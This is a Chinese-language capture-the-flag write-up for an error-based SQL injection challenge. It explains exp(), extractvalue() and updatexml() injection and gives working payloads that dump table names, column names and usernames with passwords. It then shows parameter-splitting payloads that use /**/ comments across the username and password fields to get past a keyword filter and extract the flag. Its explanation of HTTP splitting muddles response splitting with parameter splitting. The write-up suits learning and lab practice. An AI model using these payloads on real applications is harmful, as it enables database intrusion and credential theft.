做题地址:加了料的报错注入
知识点
http分割注入(hpf)
- HTTP响应头拆分攻击实质是:攻击者可以发送一个或多少个HTTP指令迫使漏洞服务器发生一个攻击者构想好的输出。它可以让服务器误把几条HTTP请求看成一次实现的HTTP请求来说明。
- HTTP响应头攻击把代码嵌入到用户信息中并放在HTTP头部,也产生在把用户信息和代码嵌入到重定向到的URL中,或者把脚本嵌入到cookie值或者name里。在第一条响应中,重定向的URL是HTTP响应头的一部分,第二条响应是断定cookie,cookie中的name/value是响应头中setcookie的一部分。
exp()报错函数
- 通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。
- 爆表:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x))
; - 爆库
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x))
- 爆数据
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x))
- 具体查看:使用exp进行SQL报错注入
extractvalue()函数
- 对XML文档进行查询的函数
- 语法:extractvalue(目标xml文档,xml路径)
- 第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
- extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
- 例如查询前五位:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
updatexml()函数
- 语法updatexml(目标xml文档,xml路径,更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
mysql concat用法
- 一般用法主要是用于拼接
- MySQL教程之concat以及group_concat的用法
wp
- 进入登录界面,要你登录,post上username和password,这种一看就是要sql注入一波
- 先试了一下常用的’,发现说sql语法有问题,又用#说检测到sql注入,说明是被过滤了,emmmm所以其注入关键字需要一个个试
- 用Burpsuite密码爆破,看那些词被过滤了
- 第一个是爆的username,可以看到像(),=,union这样的都被过掉了
- 第二个爆的是password,updatexml,extractvalue报错函数被过滤掉了
- 在源码中看到的sql注入格式:where username=‘username’ and password=’$password’,而sql语句中可以使用
/**/
注释掉中间的SQL语句。而且/**/
也没有被吃掉,这就是题目中说的加料:HTTP分割注入(hpf) - 所以sql+hpf,结合报错函数,构造username=’ and extractvalue/&password=/(1,concat(’:’, (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and ’
- 再猜解列名
username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '
,猜解字段username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(value) from ffll44jj ) )) and '
得到flag - 还有一种方法是用了exp()报错,通过构造username=1&password=’ and exp( ~(select * from ( select group_concat(value) from ffll44jj )x ) ) and '也可以得到flag
参考资料
实验吧——加了料的报错注入(exp报错注入)
实验吧web加了料的报错注入
安全测试——利用Burpsuite密码爆破
学习基于extractvalue()和updatexml()的报错注入